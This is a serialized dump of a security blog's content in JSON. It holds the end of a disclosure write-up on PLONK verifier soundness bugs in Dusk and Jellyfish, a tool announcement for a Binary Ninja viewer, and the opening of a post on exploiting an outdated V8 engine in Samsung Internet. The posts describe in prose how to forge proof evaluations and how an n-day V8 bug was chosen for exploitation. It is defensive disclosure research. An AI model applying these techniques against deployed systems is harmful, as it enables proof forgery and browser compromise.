",{"type":26,"tag":163,"props":23731,"children":23734},{"href":23732,"rel":23733},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[167],[23735],{"type":26,"tag":83,"props":23736,"children":23738},{"className":23737},[],[23739],{"type":32,"value":22841},{"type":32,"value":23741}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":26,"tag":39,"props":23743,"children":23744},{},[23745,23747,23754],{"type":32,"value":23746},"This was done in ",{"type":26,"tag":163,"props":23748,"children":23751},{"href":23749,"rel":23750},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[167],[23752],{"type":32,"value":23753},"commit 645265b7",{"type":32,"value":23755},", which landed on February 14, 2026.",{"type":26,"tag":11933,"props":23757,"children":23758},{},[],{"type":26,"tag":27,"props":23760,"children":23762},{"id":23761},"why-was-this-missed",[23763],{"type":32,"value":23764},"Why was this missed?",{"type":26,"tag":39,"props":23766,"children":23767},{},[23768,23770,23777,23779,23786,23788,23795,23797,23804],{"type":32,"value":23769},"Dusk's stack had been heavily audited: a ",{"type":26,"tag":163,"props":23771,"children":23774},{"href":23772,"rel":23773},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[167],[23775],{"type":32,"value":23776},"December 2023 audit of dusk-plonk",{"type":32,"value":23778},", a ",{"type":26,"tag":163,"props":23780,"children":23783},{"href":23781,"rel":23782},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[167],[23784],{"type":32,"value":23785},"September 2024 audit of Phoenix",{"type":32,"value":23787},", and a ",{"type":26,"tag":163,"props":23789,"children":23792},{"href":23790,"rel":23791},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[167],[23793],{"type":32,"value":23794},"September 2024 Oak Security audit of the Rusk node library",{"type":32,"value":23796},". Dusk's public ",{"type":26,"tag":163,"props":23798,"children":23801},{"href":23799,"rel":23800},"https://dusk.network/news/audits-overview",[167],[23802],{"type":32,"value":23803},"audits overview",{"type":32,"value":23805}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":26,"tag":39,"props":23807,"children":23808},{},[23809,23811,23816],{"type":32,"value":23810},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":26,"tag":65,"props":23812,"children":23813},{},[23814],{"type":32,"value":23815},"evaluations",{"type":32,"value":180},{"type":26,"tag":39,"props":23818,"children":23819},{},[23820],{"type":32,"value":23821},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":26,"tag":39,"props":23823,"children":23824},{},[23825],{"type":32,"value":23826},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":26,"tag":27,"props":23828,"children":23830},{"id":23829},"a-similar-bug-in-espresso-systems-jellyfish",[23831],{"type":32,"value":23832},"A similar bug in Espresso Systems' Jellyfish",{"type":26,"tag":39,"props":23834,"children":23835},{},[23836,23838,23845],{"type":32,"value":23837},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":26,"tag":163,"props":23839,"children":23842},{"href":23840,"rel":23841},"https://github.com/EspressoSystems/jellyfish/",[167],[23843],{"type":32,"value":23844},"jf-plonk",{"type":32,"value":23846}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":26,"tag":39,"props":23848,"children":23849},{},[23850,23852,23859,23861,23872,23874,23900,23902,23927],{"type":32,"value":23851},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":26,"tag":163,"props":23853,"children":23856},{"href":23854,"rel":23855},"https://eprint.iacr.org/2020/315",[167],[23857],{"type":32,"value":23858},"Plookup",{"type":32,"value":23860}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":26,"tag":163,"props":23862,"children":23865},{"href":23863,"rel":23864},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[167],[23866],{"type":26,"tag":83,"props":23867,"children":23869},{"className":23868},[],[23870],{"type":32,"value":23871},"append_plookup_evaluations",{"type":32,"value":23873}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":26,"tag":83,"props":23875,"children":23877},{"className":23876},[213,4703],[23878],{"type":26,"tag":217,"props":23879,"children":23881},{"className":23880},[225],[23882],{"type":26,"tag":217,"props":23883,"children":23885},{"className":23884,"ariaHidden":231},[230],[23886],{"type":26,"tag":217,"props":23887,"children":23889},{"className":23888},[236],[23890,23894],{"type":26,"tag":217,"props":23891,"children":23893},{"className":23892,"style":6316},[241],[],{"type":26,"tag":217,"props":23895,"children":23897},{"className":23896,"style":2326},[247,2152],[23898],{"type":32,"value":23899},"v",{"type":32,"value":23901}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":26,"tag":83,"props":23903,"children":23905},{"className":23904},[213,4703],[23906],{"type":26,"tag":217,"props":23907,"children":23909},{"className":23908},[225],[23910],{"type":26,"tag":217,"props":23911,"children":23913},{"className":23912,"ariaHidden":231},[230],[23914],{"type":26,"tag":217,"props":23915,"children":23917},{"className":23916},[236],[23918,23922],{"type":26,"tag":217,"props":23919,"children":23921},{"className":23920,"style":6316},[241],[],{"type":26,"tag":217,"props":23923,"children":23925},{"className":23924,"style":2326},[247,2152],[23926],{"type":32,"value":23899},{"type":32,"value":23928},", so the prover can adjust them after the fact to make the check pass.",{"type":26,"tag":39,"props":23930,"children":23931},{},[23932,23934,23940,23942,23948],{"type":32,"value":23933},"The attack requires modifying a single evaluation (",{"type":26,"tag":83,"props":23935,"children":23937},{"className":23936},[],[23938],{"type":32,"value":23939},"key_table_next_eval",{"type":32,"value":23941},") by ",{"type":26,"tag":83,"props":23943,"children":23945},{"className":23944},[],[23946],{"type":32,"value":23947},"delta / (u * v^3)",{"type":32,"value":23949}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":26,"tag":39,"props":23951,"children":23952},{},[23953,23955,23962,23964,23975],{"type":32,"value":23954},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":26,"tag":163,"props":23956,"children":23959},{"href":23957,"rel":23958},"https://github.com/EspressoSystems/jellyfish/pull/867",[167],[23960],{"type":32,"value":23961},"PR #867",{"type":32,"value":23963}," fixed the issue and was tagged as ",{"type":26,"tag":163,"props":23965,"children":23968},{"href":23966,"rel":23967},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[167],[23969],{"type":26,"tag":83,"props":23970,"children":23972},{"className":23971},[],[23973],{"type":32,"value":23974},"jf-plonk-v0.8.0",{"type":32,"value":23976}," on March 18, 2026.",{"type":26,"tag":11933,"props":23978,"children":23979},{},[],{"type":26,"tag":27,"props":23981,"children":23983},{"id":23982},"toward-standardization",[23984],{"type":32,"value":23985},"Toward standardization",{"type":26,"tag":39,"props":23987,"children":23988},{},[23989,23991,23998],{"type":32,"value":23990},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":26,"tag":163,"props":23992,"children":23995},{"href":23993,"rel":23994},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[167],[23996],{"type":32,"value":23997},"similar patterns appear across zkVMs",{"type":32,"value":23999},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":26,"tag":39,"props":24001,"children":24002},{},[24003],{"type":32,"value":24004},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":26,"tag":39,"props":24006,"children":24007},{},[24008],{"type":32,"value":24009},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":26,"tag":27,"props":24011,"children":24013},{"id":24012},"disclosure-timeline",[24014],{"type":32,"value":24015},"Disclosure timeline",{"type":26,"tag":22343,"props":24017,"children":24018},{},[24019,24035],{"type":26,"tag":22347,"props":24020,"children":24021},{},[24022],{"type":26,"tag":22351,"props":24023,"children":24024},{},[24025,24030],{"type":26,"tag":22355,"props":24026,"children":24027},{},[24028],{"type":32,"value":24029},"Date",{"type":26,"tag":22355,"props":24031,"children":24032},{},[24033],{"type":32,"value":24034},"Event",{"type":26,"tag":22366,"props":24036,"children":24037},{},[24038,24051,24064,24076,24102,24122],{"type":26,"tag":22351,"props":24039,"children":24040},{},[24041,24046],{"type":26,"tag":22373,"props":24042,"children":24043},{},[24044],{"type":32,"value":24045},"2026-02-13",{"type":26,"tag":22373,"props":24047,"children":24048},{},[24049],{"type":32,"value":24050},"Dusk vulnerability reported",{"type":26,"tag":22351,"props":24052,"children":24053},{},[24054,24059],{"type":26,"tag":22373,"props":24055,"children":24056},{},[24057],{"type":32,"value":24058},"2026-02-14",{"type":26,"tag":22373,"props":24060,"children":24061},{},[24062],{"type":32,"value":24063},"Dusk acknowledged",{"type":26,"tag":22351,"props":24065,"children":24066},{},[24067,24071],{"type":26,"tag":22373,"props":24068,"children":24069},{},[24070],{"type":32,"value":24058},{"type":26,"tag":22373,"props":24072,"children":24073},{},[24074],{"type":32,"value":24075},"Dusk fix committed",{"type":26,"tag":22351,"props":24077,"children":24078},{},[24079,24084],{"type":26,"tag":22373,"props":24080,"children":24081},{},[24082],{"type":32,"value":24083},"2026-02-27",{"type":26,"tag":22373,"props":24085,"children":24086},{},[24087,24089,24100],{"type":32,"value":24088},"Public ",{"type":26,"tag":163,"props":24090,"children":24093},{"href":24091,"rel":24092},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[167],[24094],{"type":26,"tag":83,"props":24095,"children":24097},{"className":24096},[],[24098],{"type":32,"value":24099},"dusk-rusk-1.6.0",{"type":32,"value":24101}," release published",{"type":26,"tag":22351,"props":24103,"children":24104},{},[24105,24110],{"type":26,"tag":22373,"props":24106,"children":24107},{},[24108],{"type":32,"value":24109},"2026-03-16",{"type":26,"tag":22373,"props":24111,"children":24112},{},[24113,24115,24121],{"type":32,"value":24114},"Jellyfish fix PR opened (",{"type":26,"tag":163,"props":24116,"children":24118},{"href":23957,"rel":24117},[167],[24119],{"type":32,"value":24120},"#867",{"type":32,"value":1889},{"type":26,"tag":22351,"props":24123,"children":24124},{},[24125,24130],{"type":26,"tag":22373,"props":24126,"children":24127},{},[24128],{"type":32,"value":24129},"2026-03-18",{"type":26,"tag":22373,"props":24131,"children":24132},{},[24133,24135,24140,24142],{"type":32,"value":24134},"Jellyfish fix merged in ",{"type":26,"tag":163,"props":24136,"children":24138},{"href":23957,"rel":24137},[167],[24139],{"type":32,"value":24120},{"type":32,"value":24141}," and tagged as ",{"type":26,"tag":163,"props":24143,"children":24145},{"href":23966,"rel":24144},[167],[24146],{"type":26,"tag":83,"props":24147,"children":24149},{"className":24148},[],[24150],{"type":32,"value":23974},{"type":26,"tag":27,"props":24152,"children":24154},{"id":24153},"acknowledgements",[24155],{"type":32,"value":24156},"Acknowledgements",{"type":26,"tag":39,"props":24158,"children":24159},{},[24160],{"type":32,"value":24161},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":8,"searchDepth":6770,"depth":6770,"links":24163},[24164,24171,24172,24173,24174,24175,24176,24177,24178,24179,24180,24181],{"id":18939,"depth":6770,"text":18942,"children":24165},[24166,24167,24168,24169,24170],{"id":18964,"depth":6779,"text":18967},{"id":19780,"depth":6779,"text":19783},{"id":20985,"depth":6779,"text":20988},{"id":21015,"depth":6779,"text":21018},{"id":21299,"depth":6779,"text":21302},{"id":22034,"depth":6770,"text":22037},{"id":22173,"depth":6770,"text":22176},{"id":22813,"depth":6770,"text":22816},{"id":23416,"depth":6770,"text":23419},{"id":23553,"depth":6770,"text":23556},{"id":23668,"depth":6770,"text":23671},{"id":23761,"depth":6770,"text":23764},{"id":23829,"depth":6770,"text":23832},{"id":23982,"depth":6770,"text":23985},{"id":24012,"depth":6770,"text":24015},{"id":24153,"depth":6770,"text":24156},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":24186,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":24187,"description":24188,"date":24189,"tags":24190,"onBlogPage":17,"body":24193,"_type":6799,"_id":24400,"_source":6801,"_file":24401,"_stem":24402,"_extension":6804},"/blog/2026-04-16-bndb-viewer","bndb-viewer: a web UI for Binary Ninja databases","An interactive web frontend for exploring Binary Ninja .bndb files, with AI-assisted Rust type recovery.","2026-04-16",[24191,24192],"tools","reverse engineering",{"type":23,"children":24194,"toc":24395},[24195,24208,24214,24283,24289,24302,24307,24313,24326,24391],{"type":26,"tag":39,"props":24196,"children":24197},{},[24198,24200,24206],{"type":32,"value":24199},"Reverse engineering Rust binaries is painful: stripped symbols, mangled names, opaque struct layouts. We built ",{"type":26,"tag":83,"props":24201,"children":24203},{"className":24202},[],[24204],{"type":32,"value":24205},"bndb-viewer",{"type":32,"value":24207}," to make the loop tighter — read the decompile in a browser, resolve a variable's provenance with one keystroke, define a Rust struct and watch the binary update in place.",{"type":26,"tag":27,"props":24209,"children":24211},{"id":24210},"what-it-does",[24212],{"type":32,"value":24213},"What it does",{"type":26,"tag":2040,"props":24215,"children":24216},{},[24217,24227,24237,24255,24265],{"type":26,"tag":2044,"props":24218,"children":24219},{},[24220,24225],{"type":26,"tag":9348,"props":24221,"children":24222},{},[24223],{"type":32,"value":24224},"Decompile / MLIL / disasm",{"type":32,"value":24226}," views with token-level highlighting",{"type":26,"tag":2044,"props":24228,"children":24229},{},[24230,24235],{"type":26,"tag":9348,"props":24231,"children":24232},{},[24233],{"type":32,"value":24234},"F-key",{"type":32,"value":24236},": resolve any variable to its symbolic origin (constant / call return / pass-by-ref clobber / function arg)",{"type":26,"tag":2044,"props":24238,"children":24239},{},[24240,24245,24247,24253],{"type":26,"tag":9348,"props":24241,"children":24242},{},[24243],{"type":32,"value":24244},"Shift+Y",{"type":32,"value":24246},": paste Rust struct source, compile it via ",{"type":26,"tag":83,"props":24248,"children":24250},{"className":24249},[],[24251],{"type":32,"value":24252},"rustlayout",{"type":32,"value":24254}," (the actual Rust compiler), define it in the BinaryView, assign it to a variable — decompiler updates instantly with field names",{"type":26,"tag":2044,"props":24256,"children":24257},{},[24258,24263],{"type":26,"tag":9348,"props":24259,"children":24260},{},[24261],{"type":32,"value":24262},"T-key",{"type":32,"value":24264},": hand selected lines to a Sonnet agent that produces a Rust snippet, var map, and inferred struct definitions, validated against the binary's access pattern",{"type":26,"tag":2044,"props":24266,"children":24267},{},[24268,24273,24275,24281],{"type":26,"tag":9348,"props":24269,"children":24270},{},[24271],{"type":32,"value":24272},"Inline type view",{"type":32,"value":24274},": click a ",{"type":26,"tag":83,"props":24276,"children":24278},{"className":24277},[],[24279],{"type":32,"value":24280},"struct Foo",{"type":32,"value":24282}," token, see fields without leaving the function",{"type":26,"tag":27,"props":24284,"children":24286},{"id":24285},"architecture",[24287],{"type":32,"value":24288},"Architecture",{"type":26,"tag":39,"props":24290,"children":24291},{},[24292,24294,24300],{"type":32,"value":24293},"The viewer's a Vue 3 SPA. Two data backends behind a single ",{"type":26,"tag":83,"props":24295,"children":24297},{"className":24296},[],[24298],{"type":32,"value":24299},"ApiClient",{"type":32,"value":24301}," interface: a live mode talking to a Python+Binary Ninja backend, and a snapshot mode that reads embedded JSON. The snapshot below is captured from a session against a stripped Rust example — no live server needed.",{"type":26,"tag":24205,"props":24303,"children":24306},{"height":24304,"snapshot":24305},"640px","mut-ref",[],{"type":26,"tag":27,"props":24308,"children":24310},{"id":24309},"try-it",[24311],{"type":32,"value":24312},"Try it",{"type":26,"tag":39,"props":24314,"children":24315},{},[24316,24318,24324],{"type":32,"value":24317},"The snapshot above is read-only — mutations show a toast. The full viewer (live mode) is open source: ",{"type":26,"tag":83,"props":24319,"children":24321},{"className":24320},[],[24322],{"type":32,"value":24323},"git@osec:renato-osec/cchax.git",{"type":32,"value":24325},". Run with:",{"type":26,"tag":207,"props":24327,"children":24331},{"className":24328,"code":24329,"language":24330,"meta":8,"style":8},"language-bash shiki shiki-themes slack-dark","./run.sh /path/to/your.bndb --port 8081\ncd web && npm run dev\n","bash",[24332],{"type":26,"tag":83,"props":24333,"children":24334},{"__ignoreMap":8},[24335,24358],{"type":26,"tag":217,"props":24336,"children":24337},{"class":7028,"line":7029},[24338,24343,24348,24353],{"type":26,"tag":217,"props":24339,"children":24340},{"style":7064},[24341],{"type":32,"value":24342},"./run.sh",{"type":26,"tag":217,"props":24344,"children":24345},{"style":7338},[24346],{"type":32,"value":24347}," /path/to/your.bndb",{"type":26,"tag":217,"props":24349,"children":24350},{"style":7338},[24351],{"type":32,"value":24352}," --port",{"type":26,"tag":217,"props":24354,"children":24355},{"style":7130},[24356],{"type":32,"value":24357}," 8081\n",{"type":26,"tag":217,"props":24359,"children":24360},{"class":7028,"line":6770},[24361,24366,24371,24376,24381,24386],{"type":26,"tag":217,"props":24362,"children":24363},{"style":7064},[24364],{"type":32,"value":24365},"cd",{"type":26,"tag":217,"props":24367,"children":24368},{"style":7338},[24369],{"type":32,"value":24370}," web",{"type":26,"tag":217,"props":24372,"children":24373},{"style":7048},[24374],{"type":32,"value":24375}," && ",{"type":26,"tag":217,"props":24377,"children":24378},{"style":7064},[24379],{"type":32,"value":24380},"npm",{"type":26,"tag":217,"props":24382,"children":24383},{"style":7338},[24384],{"type":32,"value":24385}," run",{"type":26,"tag":217,"props":24387,"children":24388},{"style":7338},[24389],{"type":32,"value":24390}," dev\n",{"type":26,"tag":9282,"props":24392,"children":24393},{},[24394],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":24396},[24397,24398,24399],{"id":24210,"depth":6770,"text":24213},{"id":24285,"depth":6770,"text":24288},{"id":24309,"depth":6770,"text":24312},"content:blog:2026-04-16-bndb-viewer.md","blog/2026-04-16-bndb-viewer.md","blog/2026-04-16-bndb-viewer",{"_path":24404,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":24405,"description":24406,"date":24407,"author":24408,"image":24411,"isFeatured":17,"onBlogPage":17,"tags":24413,"body":24415,"_type":6799,"_id":34387,"_source":6801,"_file":34388,"_stem":34389,"_extension":6804},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[9308,24409,24410],"jamie","william",{"src":24412,"width":6816,"height":6817},"/posts/mobile-renderer-rce/title.png",[24414,6820],"RCE",{"type":23,"children":24416,"toc":34367},[24417,24423,24428,24442,24448,24462,24482,24490,24503,24511,24524,24530,24543,24557,24563,24577,24684,24689,24697,24702,24707,24728,24811,24819,24838,24851,24857,24863,24877,24993,24998,25003,25011,25016,25024,25052,25081,25093,25269,25274,25282,25302,25315,25321,25341,25355,25360,25365,25393,25428,25502,25508,25530,25535,25543,25556,25561,25569,25574,25613,25619,25632,25637,25817,25827,25835,25855,25879,25892,25898,25903,26556,26561,26569,26612,28613,28618,28626,28632,28665,28683,28853,28911,28936,29032,29037,29828,29833,29841,29852,31898,31903,31911,31917,31940,31954,31967,31979,32009,32014,32455,32483,32590,32607,32764,32769,32781,33077,33103,33128,33265,33277,33282,33434,33470,33483,33488,33612,33653,33733,33738,34321,34327,34339,34349,34353,34358,34363],{"type":26,"tag":27,"props":24418,"children":24420},{"id":24419},"introduction",[24421],{"type":32,"value":24422},"Introduction",{"type":26,"tag":39,"props":24424,"children":24425},{},[24426],{"type":32,"value":24427},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":26,"tag":39,"props":24429,"children":24430},{},[24431,24433,24440],{"type":32,"value":24432},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":26,"tag":163,"props":24434,"children":24437},{"href":24435,"rel":24436},"https://cor.team",[167],[24438],{"type":32,"value":24439},"Crusaders of Rust",{"type":32,"value":24441}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":26,"tag":607,"props":24443,"children":24445},{"id":24444},"finding-the-v8-version",[24446],{"type":32,"value":24447},"Finding the V8 Version",{"type":26,"tag":39,"props":24449,"children":24450},{},[24451,24453,24460],{"type":32,"value":24452},"We started by pulling Samsung Internet's APK from the device over ",{"type":26,"tag":163,"props":24454,"children":24457},{"href":24455,"rel":24456},"https://developer.android.com/tools/adb",[167],[24458],{"type":32,"value":24459},"adb",{"type":32,"value":24461}," and inspecting the libraries it shipped with.",{"type":26,"tag":39,"props":24463,"children":24464},{},[24465,24467,24473,24475,24481],{"type":32,"value":24466},"After extracting the APK, we searched the ",{"type":26,"tag":83,"props":24468,"children":24470},{"className":24469},[],[24471],{"type":32,"value":24472},"lib/",{"type":32,"value":24474}," directory for ",{"type":26,"tag":83,"props":24476,"children":24478},{"className":24477},[],[24479],{"type":32,"value":24480},"v8::*",{"type":32,"value":17879},{"type":26,"tag":207,"props":24483,"children":24485},{"code":24484},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[24486],{"type":26,"tag":83,"props":24487,"children":24488},{"__ignoreMap":8},[24489],{"type":32,"value":24484},{"type":26,"tag":39,"props":24491,"children":24492},{},[24493,24495,24501],{"type":32,"value":24494},"Only one file matched our search: ",{"type":26,"tag":83,"props":24496,"children":24498},{"className":24497},[],[24499],{"type":32,"value":24500},"libterrace.so",{"type":32,"value":24502},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":26,"tag":39,"props":24504,"children":24505},{},[24506],{"type":26,"tag":6468,"props":24507,"children":24510},{"alt":24508,"src":24509},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":26,"tag":39,"props":24512,"children":24513},{},[24514,24516,24522],{"type":32,"value":24515},"Surprisingly, this ",{"type":26,"tag":83,"props":24517,"children":24519},{"className":24518},[],[24520],{"type":32,"value":24521},"13.6.233.10",{"type":32,"value":24523}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":26,"tag":607,"props":24525,"children":24527},{"id":24526},"choosing-the-bug",[24528],{"type":32,"value":24529},"Choosing the Bug",{"type":26,"tag":39,"props":24531,"children":24532},{},[24533,24535,24541],{"type":32,"value":24534},"We were able to trigger a couple of bugs on our locally compiled ",{"type":26,"tag":83,"props":24536,"children":24538},{"className":24537},[],[24539],{"type":32,"value":24540},"d8",{"type":32,"value":24542}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":26,"tag":39,"props":24544,"children":24545},{},[24546,24548,24555],{"type":32,"value":24547},"Another one was ",{"type":26,"tag":163,"props":24549,"children":24552},{"href":24550,"rel":24551},"https://issuetracker.google.com/issues/443875388",[167],[24553],{"type":32,"value":24554},"CVE-2025-10891",{"type":32,"value":24556}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":26,"tag":27,"props":24558,"children":24560},{"id":24559},"ignition-bytecode-introduction",[24561],{"type":32,"value":24562},"Ignition Bytecode Introduction",{"type":26,"tag":39,"props":24564,"children":24565},{},[24566,24568,24575],{"type":32,"value":24567},"V8 initially compiles all JS code to a bytecode format with the ",{"type":26,"tag":163,"props":24569,"children":24572},{"href":24570,"rel":24571},"https://v8.dev/blog/ignition-interpreter",[167],[24573],{"type":32,"value":24574},"Ignition",{"type":32,"value":24576}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":26,"tag":207,"props":24578,"children":24582},{"code":24579,"language":24580,"meta":8,"className":24581,"style":8},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n","js","language-js shiki shiki-themes slack-dark",[24583],{"type":26,"tag":83,"props":24584,"children":24585},{"__ignoreMap":8},[24586,24610,24635,24659],{"type":26,"tag":217,"props":24587,"children":24588},{"class":7028,"line":7029},[24589,24593,24598,24602,24606],{"type":26,"tag":217,"props":24590,"children":24591},{"style":7154},[24592],{"type":32,"value":12470},{"type":26,"tag":217,"props":24594,"children":24595},{"style":7054},[24596],{"type":32,"value":24597}," a",{"type":26,"tag":217,"props":24599,"children":24600},{"style":7149},[24601],{"type":32,"value":8993},{"type":26,"tag":217,"props":24603,"children":24604},{"style":7130},[24605],{"type":32,"value":9742},{"type":26,"tag":217,"props":24607,"children":24608},{"style":7048},[24609],{"type":32,"value":7162},{"type":26,"tag":217,"props":24611,"children":24612},{"class":7028,"line":6770},[24613,24617,24622,24626,24631],{"type":26,"tag":217,"props":24614,"children":24615},{"style":7154},[24616],{"type":32,"value":12470},{"type":26,"tag":217,"props":24618,"children":24619},{"style":7054},[24620],{"type":32,"value":24621}," b",{"type":26,"tag":217,"props":24623,"children":24624},{"style":7149},[24625],{"type":32,"value":8993},{"type":26,"tag":217,"props":24627,"children":24628},{"style":7130},[24629],{"type":32,"value":24630}," 0x0fff",{"type":26,"tag":217,"props":24632,"children":24633},{"style":7048},[24634],{"type":32,"value":7162},{"type":26,"tag":217,"props":24636,"children":24637},{"class":7028,"line":6779},[24638,24642,24646,24650,24655],{"type":26,"tag":217,"props":24639,"children":24640},{"style":7154},[24641],{"type":32,"value":12470},{"type":26,"tag":217,"props":24643,"children":24644},{"style":7054},[24645],{"type":32,"value":8511},{"type":26,"tag":217,"props":24647,"children":24648},{"style":7149},[24649],{"type":32,"value":8993},{"type":26,"tag":217,"props":24651,"children":24652},{"style":7130},[24653],{"type":32,"value":24654}," 0x0fffffff",{"type":26,"tag":217,"props":24656,"children":24657},{"style":7048},[24658],{"type":32,"value":7162},{"type":26,"tag":217,"props":24660,"children":24661},{"class":7028,"line":7140},[24662,24666,24671,24675,24680],{"type":26,"tag":217,"props":24663,"children":24664},{"style":7154},[24665],{"type":32,"value":12470},{"type":26,"tag":217,"props":24667,"children":24668},{"style":7054},[24669],{"type":32,"value":24670}," d",{"type":26,"tag":217,"props":24672,"children":24673},{"style":7149},[24674],{"type":32,"value":8993},{"type":26,"tag":217,"props":24676,"children":24677},{"style":7130},[24678],{"type":32,"value":24679}," 0xffffffff",{"type":26,"tag":217,"props":24681,"children":24682},{"style":7048},[24683],{"type":32,"value":7162},{"type":26,"tag":39,"props":24685,"children":24686},{},[24687],{"type":32,"value":24688},"compiles to",{"type":26,"tag":207,"props":24690,"children":24692},{"code":24691}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[24693],{"type":26,"tag":83,"props":24694,"children":24695},{"__ignoreMap":8},[24696],{"type":32,"value":24691},{"type":26,"tag":39,"props":24698,"children":24699},{},[24700],{"type":32,"value":24701},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":26,"tag":607,"props":24703,"children":24705},{"id":24704},"cve-2025-10891",[24706],{"type":32,"value":24554},{"type":26,"tag":39,"props":24708,"children":24709},{},[24710,24712,24718,24720,24726],{"type":32,"value":24711},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":26,"tag":83,"props":24713,"children":24715},{"className":24714},[],[24716],{"type":32,"value":24717},"[start, end) => handler",{"type":32,"value":24719}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":26,"tag":83,"props":24721,"children":24723},{"className":24722},[],[24724],{"type":32,"value":24725},"handler",{"type":32,"value":24727}," is jumped to.",{"type":26,"tag":207,"props":24729,"children":24731},{"code":24730,"language":24580,"meta":8,"className":24581,"style":8},"try {\n  throw 1;\n} catch {\n  let b = 